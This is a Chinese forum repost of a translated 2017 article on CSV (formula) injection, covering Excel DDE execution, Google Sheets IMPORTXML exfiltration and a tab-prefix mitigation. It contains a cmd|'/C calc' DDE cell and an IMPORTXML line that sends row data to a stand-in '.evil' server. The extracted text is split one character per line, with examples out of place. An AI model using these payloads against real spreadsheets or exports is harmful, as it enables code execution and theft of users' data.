论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
IOT
[20954] 2017-12-01_[译]CSV注入:被人低估的巨大风险
文档创建者:
s7ckTeam
浏览次数:
6
最后更新:
2025-01-18
IOT
6 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-54
6万
主题
-6万
回帖
-54
积分
管理员
积分
-54
发消息
2017-12-01_[译]CSV注入:被人低估的巨大风险
[
译
]
C
S
V
注
入
:
被
人
低
估
的
巨
大
风
险
L
e
m
o
n
S
e
c
2
0
1
7
-
1
2
-
0
1
最
近
我
在
记
录
本
地
用
户
近
期
的
电
费
时
发
现
这
个
问
题
,
有
人
叫
我
把
它
写
出
来
。
在
某
些
方
面
上
看
来
这
是
个
旧
新
闻
,
但
是
从
其
他
的
角
度
看
。
嗯
,
我
认
为
很
少
人
意
识
到
这
个
问
题
有
有
多
强
的
破
坏
力
,
并
且
它
能
造
成
多
大
范
围
的
损
害
。
对
于
将
用
户
的
输
入
结
果
和
允
许
管
理
员
大
批
量
的
把
信
息
导
出
到
C
S
V
文
件
的
应
用
来
说
,
都
存
在
着
一
个
有
效
的
攻
击
方
向
。
对
于
每
个
应
用
都
有
效
。
修
订
:
修
订
:
值
得
称
赞
的
是
,
这
些
文
章
指
出
了
这
个
问
题
一
位
安
全
专
家
2
0
1
4
年
的
文
章
,
里
面
探
讨
了
一
部
分
攻
击
方
向
。
另
外
一
篇
。
现
在
我
们
开
始
正
题
吧
—
—
设
想
我
们
有
个
记
录
时
间
或
者
票
据
的
应
用
。
用
户
们
可
以
输
入
自
己
的
时
间
(
或
者
票
据
)
到
应
用
中
,
但
是
不
能
查
看
其
他
用
户
这
部
分
的
信
息
。
然
后
网
站
管
理
员
把
这
些
输
入
信
息
导
出
到
一
个
C
S
V
文
件
,
用
一
个
电
子
表
格
应
用
打
开
它
。
看
起
来
很
正
常
。
攻
击
方
向
1
我
们
都
知
道
C
S
V
文
件
是
什
么
。
其
特
征
很
简
单
,
导
出
来
的
C
S
V
文
件
看
起
来
像
是
这
样
的
够
简
单
。
里
面
没
有
什
么
危
险
的
东
西
。
连
R
F
C
也
这
样
描
述
:
C
S
V
文
件
里
包
含
的
文
本
应
该
不
会
有
任
何
风
险
。
即
使
从
定
义
上
看
,
它
也
应
该
是
安
全
的
。
等
下
,
让
我
们
来
试
一
试
将
C
S
V
文
件
修
改
为
下
面
内
容
在
E
x
c
e
l
里
计
算
表
达
式
在
G
o
o
g
l
e
S
h
e
e
t
s
里
计
算
公
式
打
开
自
E
x
c
e
l
(
左
边
)
和
G
o
o
g
l
e
S
h
e
e
t
s
(
右
边
)
。
嗯
。
这
很
奇
怪
。
虽
然
单
元
格
的
内
容
在
引
号
内
,
但
由
于
第
一
个
字
符
是
,
它
以
一
个
表
达
式
的
形
式
被
处
理
。
实
际
上
—
—
至
少
是
在
E
x
c
e
l
里
—
—
包
括
U
s
e
r
I
d
,
B
i
l
l
T
o
D
a
t
e
,
P
r
o
j
e
c
t
N
a
m
e
,
D
e
s
c
r
i
p
t
i
o
n
,
D
u
r
a
t
i
o
n
M
i
n
u
t
e
s
1
,
2
0
1
7
-
0
7
-
2
5
,
T
e
s
t
P
r
o
j
e
c
t
,
F
l
i
p
p
e
d
t
h
e
j
i
b
b
e
t
,
6
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
B
o
p
,
d
o
p
,
a
n
d
g
i
g
l
i
p
"
,
2
4
0
U
s
e
r
I
d
,
B
i
l
l
T
o
D
a
t
e
,
P
r
o
j
e
c
t
N
a
m
e
,
D
e
s
c
r
i
p
t
i
o
n
,
D
u
r
a
t
i
o
n
M
i
n
u
t
e
s
1
,
2
0
1
7
-
0
7
-
2
5
,
T
e
s
t
P
r
o
j
e
c
t
,
F
l
i
p
p
e
d
t
h
e
j
i
b
b
e
t
,
6
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
B
o
p
,
d
o
p
,
a
n
d
g
i
g
l
i
p
"
,
2
4
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
=
2
+
5
"
,
2
4
0
=
=
,
,
和
这
样
的
符
号
都
会
触
发
这
种
行
为
,
结
果
管
理
员
发
现
数
据
的
格
式
不
正
确
,
并
因
此
而
花
大
量
的
时
间
来
查
找
原
因
(
正
是
E
x
c
e
l
的
这
个
现
象
引
起
了
我
的
注
意
力
)
。
这
很
奇
怪
,
但
不
是
很
危
险
危
险
,
不
是
吗
?
再
等
一
下
,
表
达
式
就
是
就
是
可
以
执
行
的
代
码
。
所
以
用
户
可
以
执
行
代
码
—
—
虽
然
只
是
表
达
式
代
码
—
—
执
行
在
管
理
员
的
机
器
上
,
而
这
台
机
器
里
有
权
限
接
触
用
户
用
户
数
据
。
如
果
我
们
把
C
S
V
文
件
改
成
这
样
会
有
什
么
结
果
?
(
注
意
最
后
一
行
的
D
e
s
c
r
i
p
t
i
o
n
列
)
如
果
我
们
用
E
x
c
e
l
打
开
会
有
什
么
结
果
?
计
算
器
会
打
开
!
额
滴
神
啊
!
=
-
+
@
U
s
e
r
I
d
,
B
i
l
l
T
o
D
a
t
e
,
P
r
o
j
e
c
t
N
a
m
e
,
D
e
s
c
r
i
p
t
i
o
n
,
D
u
r
a
t
i
o
n
M
i
n
u
t
e
s
1
,
2
0
1
7
-
0
7
-
2
5
,
T
e
s
t
P
r
o
j
e
c
t
,
F
l
i
p
p
e
d
t
h
e
j
i
b
b
e
t
,
6
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
B
o
p
,
d
o
p
,
a
n
d
g
i
g
l
i
p
"
,
2
4
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
=
2
+
5
+
c
m
d
|
'
/
C
c
a
l
c
'
!
A
0
"
,
2
4
0
没
错
,
系
统
的
计
算
器
打
开
了
。
公
平
的
说
,
在
此
之
前
的
确
有
出
现
过
一
个
警
告
的
确
有
出
现
过
一
个
警
告
。
只
是
这
警
告
是
一
大
块
文
字
,
没
人
想
要
读
它
。
即
使
有
人
想
读
,
它
也
会
明
确
建
议
:
只
有
当
你
信
任
这
个
w
o
r
k
b
o
o
k
的
数
据
时
才
点
击
确
定
你
想
知
道
为
什
么
会
这
样
吗
?
这
是
一
个
应
用
的
导
出
文
件
,
是
给
管
理
员
管
理
员
用
的
。
他
们
当
然
信
任
这
些
数
据
!
如
果
他
们
的
技
术
很
好
呢
?
那
么
更
糟
糕
。
他
们
知
道
知
道
C
S
V
格
式
只
是
文
本
数
据
,
因
此
不
可
能
造
成
任
何
伤
害
。
他
们
十
分
确
信
这
一
点
。
就
像
这
样
,
攻
击
者
有
无
限
制
的
权
力
在
别
人
的
电
脑
上
下
载
键
盘
记
录
,
安
装
东
西
,
完
全
远
程
地
执
行
代
码
,
而
且
这
台
电
脑
如
果
属
于
一
个
经
理
或
者
一
间
公
司
的
管
理
员
的
话
,
还
可
能
有
权
限
接
触
所
有
用
户
的
数
据
。
我
想
知
道
在
这
台
电
脑
里
面
还
有
别
的
文
件
可
以
窃
取
吗
?
攻
击
方
向
2
好
吧
,
以
上
的
主
要
内
容
挺
简
短
,
但
是
毕
竟
这
是
个
(
相
对
)
有
名
的
漏
洞
。
作
为
一
个
安
全
专
家
,
可
能
你
已
经
警
告
了
所
有
的
管
理
员
谨
慎
使
用
E
x
c
e
l
,
或
者
会
考
虑
使
用
G
o
o
g
l
e
S
h
e
e
t
s
来
代
替
它
。
毕
竟
,
S
h
e
e
t
s
不
会
被
宏
影
响
,
不
是
吗
?
这
完
全
正
确
。
所
以
我
们
收
回
“
运
行
任
何
东
西
”
的
野
心
上
,
并
把
注
意
力
放
在
仅
仅
是
盗
取
数
据
上
。
毕
竟
,
这
里
的
前
提
是
攻
击
者
是
一
个
普
通
的
用
户
,
他
只
能
接
触
自
己
输
入
在
系
统
上
的
数
据
。
而
一
个
管
理
员
有
权
力
看
到
每
个
用
户
的
数
据
,
我
们
有
什
么
办
法
可
以
利
用
这
一
点
吗
?
好
好
回
想
一
下
,
我
们
虽
然
不
能
在
G
o
o
g
l
e
S
h
e
e
t
s
里
运
行
宏
,
但
是
我
们
完
全
可
以
可
以
运
行
表
达
式
。
并
且
表
达
式
不
仅
仅
限
制
于
简
单
的
算
术
。
实
际
上
,
我
想
问
下
在
公
式
中
是
否
有
可
用
的
G
o
o
g
l
e
S
h
e
e
t
s
命
令
能
让
我
们
把
数
据
传
输
到
其
他
地
方
?
答
案
是
有
的
,
有
很
多
的
方
法
可
以
做
到
这
一
点
。
我
们
先
关
注
其
中
的
一
个
方
法
。
I
M
P
O
R
T
X
M
L
(
u
r
l
,
x
p
a
t
h
_
q
u
e
r
y
)
当
运
行
这
个
命
令
时
,
它
会
对
上
面
的
u
r
l
发
出
一
条
H
T
T
P
G
E
T
请
求
,
然
后
尝
试
解
析
并
把
返
回
数
据
插
入
到
我
们
的
电
子
表
格
。
你
是
不
是
有
一
点
想
法
了
?
如
果
我
们
的
C
S
V
文
件
有
以
下
内
容
:
攻
击
者
以
符
号
作
为
单
元
格
的
开
头
,
然
后
把
的
地
址
指
向
了
一
个
攻
击
者
的
服
务
器
,
并
把
电
子
表
格
的
数
据
作
为
查
询
字
符
串
附
在
该
地
址
上
。
现
在
攻
击
者
可
以
打
开
他
们
的
服
务
器
日
志
然
后
y
o
o
o
o
o
o
。
终
于
拿
到
了
不
属
于
他
们
的
数
据
。
在
R
e
q
u
e
s
t
b
.
i
n
上
自
己
试
一
试
。
有
什
么
踪
迹
会
留
下
来
吗
?
没
有
警
告
,
没
有
弹
框
,
没
有
任
何
理
由
认
为
有
出
现
过
什
么
问
题
。
攻
击
者
只
是
输
入
了
一
个
格
式
过
的
时
间
/
问
题
/
其
他
数
据
的
条
目
,
最
终
管
理
员
当
要
看
导
出
的
C
S
V
文
件
时
,
所
有
限
制
访
问
的
数
据
都
会
瞬
间
,
并
悄
悄
地
传
输
出
去
了
。
等
一
下
,
我
们
能
做
得
更
过
分
我
们
能
做
得
更
过
分
。
表
达
式
式
是
运
行
在
管
理
员
的
浏
览
器
上
的
,
这
里
面
有
管
理
员
管
理
员
的
用
户
账
号
和
安
全
信
息
。
并
且
G
o
o
g
l
e
S
h
e
e
t
s
并
不
是
只
能
操
作
当
前
电
子
表
格
的
数
据
,
实
际
上
它
可
以
从
其
他
其
他
电
子
表
格
拿
数
据
,
只
要
用
户
有
接
触
过
这
些
表
格
就
行
。
而
攻
击
者
只
需
要
知
道
其
他
表
格
的
i
d
。
这
些
信
息
通
常
不
是
什
么
秘
密
,
它
出
现
在
电
子
表
格
的
u
r
l
上
,
通
常
会
意
外
地
发
现
电
子
邮
件
上
有
这
些
信
息
,
或
者
发
布
在
公
司
内
部
的
文
档
上
,
通
过
G
o
o
g
l
e
的
安
全
策
略
来
确
保
只
有
授
权
用
户
才
可
以
接
触
这
些
数
据
。
所
以
说
,
不
只
是
只
是
你
的
导
出
结
果
/
问
题
/
其
他
数
据
可
以
溜
出
去
。
你
的
管
理
员
有
分
别
接
触
过
客
户
列
表
或
者
工
资
信
息
的
电
子
表
格
?
那
么
这
些
信
息
可
能
也
可
以
搞
出
去
!
一
切
尽
在
不
言
中
,
没
有
人
会
知
道
发
生
过
这
些
事
。
一
颗
赛
艇
!
当
然
同
样
的
诡
计
也
可
以
完
美
地
运
行
在
E
x
c
e
l
上
。
实
际
上
,
E
x
c
e
l
在
这
方
面
上
简
直
是
楷
模
警
方
曾
经
利
用
过
这
个
漏
洞
来
追
踪
罪
犯
。
但
事
情
不
一
定
会
这
样
发
展
。
我
展
示
这
些
信
息
给
了
大
量
的
安
全
研
究
员
看
,
他
们
指
出
了
犯
罪
者
的
各
种
恶
作
剧
。
例
如
犯
罪
者
在
他
们
各
自
的
通
讯
中
植
入
了
信
息
,
这
些
信
息
是
他
们
服
务
器
的
信
标
。
这
样
一
来
,
如
果
研
究
员
秘
密
地
查
看
他
们
在
电
子
表
格
上
的
通
讯
信
息
,
那
么
这
个
信
标
就
会
熄
灭
,
这
样
犯
罪
者
就
可
以
有
效
地
逃
避
想
要
窃
听
他
们
的
人
。
这
很
不
理
想
。
预
防
所
以
这
一
切
到
底
是
谁
的
错
?
当
然
这
不
是
C
S
V
格
式
的
错
。
格
式
本
身
不
会
自
动
地
执
行
“
像
一
条
公
式
”
的
东
西
,
这
不
是
原
本
就
有
的
用
法
。
这
个
b
u
g
依
赖
于
常
用
的
电
子
表
格
程
序
,
是
程
序
在
实
际
地
做
错
事
。
当
然
G
o
o
g
l
e
S
h
e
e
t
s
必
须
和
E
x
c
e
l
的
功
能
保
持
一
致
,
而
E
x
c
e
l
必
须
支
持
已
存
在
的
数
百
万
个
复
杂
的
电
子
表
格
。
另
外
—
—
我
不
会
研
究
这
件
事
—
—
但
有
充
分
理
由
相
信
E
x
c
e
l
的
行
为
来
自
于
古
代
的
L
o
t
u
s
1
-
2
-
3
的
奇
怪
处
理
。
目
前
来
说
让
所
有
的
电
子
表
格
程
序
改
变
这
一
行
为
是
一
大
困
难
。
我
想
应
该
把
注
意
力
转
为
改
变
每
个
人
上
。
我
曾
向
G
o
o
g
l
e
报
道
他
们
的
电
子
表
格
程
序
有
漏
洞
。
他
们
承
认
了
,
但
是
声
称
已
经
意
识
到
了
这
个
问
题
。
虽
然
我
确
信
他
们
明
白
这
是
一
个
漏
洞
,
但
他
们
给
我
一
个
明
显
的
感
觉
:
他
们
并
没
有
真
正
考
虑
到
在
实
践
中
可
能
会
被
滥
用
的
情
况
。
至
少
在
C
S
V
导
入
并
即
将
生
成
外
部
请
求
时
,
G
o
o
g
l
e
S
h
e
e
t
s
应
该
发
出
一
个
警
告
。
I
M
P
O
R
T
X
M
L
U
s
e
r
I
d
,
B
i
l
l
T
o
D
a
t
e
,
P
r
o
j
e
c
t
N
a
m
e
,
D
e
s
c
r
i
p
t
i
o
n
,
D
u
r
a
t
i
o
n
M
i
n
u
t
e
s
1
,
2
0
1
7
-
0
7
-
2
5
,
T
e
s
t
P
r
o
j
e
c
t
,
F
l
i
p
p
e
d
t
h
e
j
i
b
b
e
t
,
6
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
B
o
p
,
d
o
p
,
a
n
d
g
i
g
l
i
p
"
,
2
4
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
=
I
M
P
O
R
T
X
M
L
(
C
O
N
C
A
T
(
"
"
h
t
t
p
:
/
/
s
o
m
e
-
s
e
r
v
e
r
-
w
i
t
h
-
l
o
g
.
e
v
i
l
?
v
=
"
"
,
C
O
N
C
A
T
E
N
A
T
E
(
A
2
:
E
2
)
)
,
"
"
/
/
a
"
"
)
"
,
2
4
0
=
I
M
P
O
R
T
X
M
L
但
是
把
这
件
事
的
责
任
推
在
应
用
程
序
的
开
发
者
上
也
不
是
很
实
际
。
毕
竟
,
大
部
分
的
开
发
人
员
没
有
理
由
在
一
个
简
单
的
业
务
应
用
里
写
了
导
出
功
能
后
,
还
会
怀
疑
会
出
现
这
个
问
题
。
实
际
上
,
即
使
他
们
阅
读
该
死
的
R
F
C
也
仍
然
仍
然
不
会
有
任
何
线
索
来
发
现
这
个
问
题
。
那
么
你
怎
么
预
防
这
件
事
呢
?
好
吧
,
尽
管
S
t
a
c
k
O
v
e
r
f
l
o
w
和
其
他
的
网
站
提
供
了
丰
富
的
建
议
,
但
我
发
现
只
有
一
个
(
不
在
文
档
内
的
)
方
法
可
以
使
用
在
任
意
的
电
子
表
格
程
序
上
:
对
于
任
何
以
表
达
式
触
发
字
符
,
,
或
者
开
头
的
单
元
格
,
您
应
该
直
接
使
用
t
a
b
字
符
作
为
前
缀
。
注
意
,
如
果
单
元
格
里
的
内
容
有
引
号
,
那
么
这
个
字
符
要
在
引
号
内
内
。
这
很
奇
怪
,
但
是
起
作
用
了
,
同
时
t
a
b
字
符
不
会
显
示
在
E
x
c
e
l
和
G
o
o
g
l
e
S
h
e
e
t
s
上
。
所
以
这
就
是
我
想
要
的
吗
?
不
幸
的
是
,
这
个
故
事
还
没
完
。
这
个
字
符
虽
然
不
会
显
示
,
但
是
仍
然
存
在
。
用
来
快
速
测
一
下
字
符
串
的
长
度
就
可
以
确
认
这
一
事
实
。
因
此
,
在
单
元
格
的
值
只
用
来
显
示
,
而
不
会
被
程
序
所
使
用
的
前
提
下
,
这
是
一
个
可
接
受
的
方
案
。
。
更
进
一
步
,
有
趣
的
是
这
个
字
符
会
造
成
奇
怪
的
不
一
致
。
C
S
V
格
式
用
在
应
用
程
序
之
间
应
用
程
序
之
间
的
信
息
交
流
上
。
这
意
味
着
从
一
个
应
用
程
序
导
出
的
转
义
单
元
格
的
数
据
将
会
被
另
一
个
应
用
程
序
导
入
并
作
为
数
据
的
一
部
分
。
最
终
我
们
得
出
一
个
糟
糕
的
结
论
,
当
生
成
C
S
V
导
出
文
件
时
,
你
必
须
知
道
这
导
出
文
件
是
用
来
做
什
么
的
必
须
知
道
这
导
出
文
件
是
用
来
做
什
么
的
。
如
果
是
为
了
在
电
子
表
格
程
序
中
计
算
时
的
能
够
看
到
这
些
数
据
,
则
应
使
用
t
a
b
来
转
义
。
实
际
上
这
更
重
要
,
因
为
您
不
希
望
在
导
出
到
电
子
表
格
时
字
符
串
是
“
-
2
+
3
”
时
出
现
的
结
果
为
“
1
”
,
这
让
人
感
觉
就
像
是
用
编
程
语
言
解
析
的
结
果
。
如
果
它
被
用
作
系
统
间
的
数
据
交
流
,
那
么
不
要
转
义
任
何
东
西
。
如
果
您
不
知
道
会
发
生
什
么
事
情
,
或
者
是
要
在
电
子
表
格
应
用
程
序
中
使
用
,
或
者
随
后
这
个
电
子
表
格
将
被
用
作
软
件
的
导
入
源
,
放
弃
吧
,
只
能
祈
祷
不
会
发
生
什
么
事
情
了
(
或
者
,
总
是
总
是
在
使
用
E
x
c
e
l
时
断
开
网
络
连
接
,
并
在
工
作
时
遵
循
所
有
的
安
全
提
示
)
(
修
订
:
这
并
非
1
0
0
%
安
全
,
因
为
攻
击
者
仍
然
可
以
使
用
宏
,
让
自
己
的
二
进
制
文
件
来
覆
盖
已
知
的
文
件
。
去
他
的
。
)
。
这
是
一
场
恶
梦
,
人
们
可
以
利
用
这
个
漏
洞
做
些
邪
恶
的
事
情
,
并
因
此
而
造
成
损
失
,
而
且
还
没
有
明
确
的
解
决
方
案
。
这
个
漏
洞
应
该
要
让
更
多
更
多
的
人
知
道
。
原
文
发
布
时
间
为
:
2
0
1
7
年
1
0
月
2
2
日
转
载
自
:
h
t
t
p
s
:
/
/
y
q
.
a
l
i
y
u
n
.
c
o
m
/
a
r
t
i
c
l
e
s
/
2
2
5
8
4
7
本
文
来
自
云
栖
社
区
合
作
伙
伴
掘
金
,
了
解
相
关
信
息
可
以
关
注
掘
金
网
站
。
=
-
+
@
U
s
e
r
I
d
,
B
i
l
l
T
o
D
a
t
e
,
P
r
o
j
e
c
t
N
a
m
e
,
D
e
s
c
r
i
p
t
i
o
n
,
D
u
r
a
t
i
o
n
M
i
n
u
t
e
s
1
,
2
0
1
7
-
0
7
-
2
5
,
T
e
s
t
P
r
o
j
e
c
t
,
F
l
i
p
p
e
d
t
h
e
j
i
b
b
e
t
,
6
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
B
o
p
,
d
o
p
,
a
n
d
g
i
g
l
i
p
"
,
2
4
0
2
,
2
0
1
7
-
0
7
-
2
5
,
I
m
p
o
r
t
a
n
t
C
l
i
e
n
t
,
"
=
2
+
5
"
,
2
4
0
=
L
E
N
(
D
4
)
回复
举报
上一个主题
下一个主题
高级模式
B
Color
Image
Link
Quote
Code
Smilies
您需要登录后才可以回帖
登录
|
立即注册
本版积分规则
发表回复
!disable!!post_parseurl!
使用Markdown编辑器编辑
使用富文本编辑器编辑
回帖后跳转到最后一页